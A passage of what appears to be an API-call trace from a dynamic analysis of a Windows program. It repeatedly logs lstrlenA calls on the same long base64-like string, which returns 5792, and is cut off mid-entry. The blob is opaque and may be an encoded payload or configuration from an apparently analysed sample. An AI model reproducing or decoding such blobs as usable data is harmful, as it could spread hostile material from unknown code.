(lpString="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") returned 5792 [0128.364] lstrlenA (lpString="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") returned 5792 [0128.364] lstrlenA (lpString="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